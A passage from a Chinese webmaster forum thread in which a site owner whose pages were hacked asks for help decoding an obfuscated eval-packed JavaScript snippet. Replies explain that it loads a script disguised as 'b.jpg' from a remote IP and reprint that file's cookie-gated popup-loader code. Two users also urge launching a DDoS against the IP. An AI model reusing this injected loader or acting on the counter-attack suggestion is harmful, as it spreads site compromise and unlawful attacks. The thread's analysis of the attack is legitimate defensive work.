被别人入侵了。这段代码谁可以帮忙解密一下？

kongtj

[ol][*]
[*]eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8.9(\'\');',19,19,'scr|ipt||20|30||fu|http|document|write|src

miniloop

ck|pg|javascript|text|type|j'.split('|'),0,{}))[/ol]复制代码


可不可以帮忙解密下？

miniloop

document.write('');

imnpc

从202.55.5.230/fuck/c/地址引入一个b.jpg文件作为脚本并运行。

kongtj

[ol]

document.write('');[/ol]复制代码

miniloop

miniloop 发表于 2014-6-7 19:27

从202.55.5.230/fuck/c/地址引入一个b.jpg文件作为脚本并运行。
谢谢。不过还是没懂。他直接挂弹窗的js地址是怎么样的？

ziyounb

把那个b.jpg下下来，用文本编辑器打看到这个：
GIF89a = "";
document.writeln("");
function goad(){
var Then = new Date()
Then.setTime(Then.getTime() + 480*60*60*1000)
var cookieString = new String(document.cookie)
var cookieHeader = "Cookie1="
var beginPosition = cookieString.indexOf(cookieHeader)
if (beginPosition != -1){
} else
{ document.cookie = "Cookie1=Filter;expires="+ Then.toGMTString()
document.write('');  
}
}goad();

kongtj

IP知道了，赶紧D啊！

冰剑

ziyounb 发表于 2014-6-7 19:33

IP知道了，赶紧D啊！
帮我D把

kongtj

[ol]

GIF89a = "";

document.writeln("");

function goad(){

var Then = new Date()

Then.setTime(Then.getTime() + 480*60*60*1000)

var cookieString = new String(document.cookie)

var cookieHeader = "Cookie1="

var beginPosition = cookieString.indexOf(cookieHeader)

if (beginPosition != -1){

} else

{ document.cookie = "Cookie1=Filter;expires="+ Then.toGMTString()

document.write('');  

}

}goad();[/ol]复制代码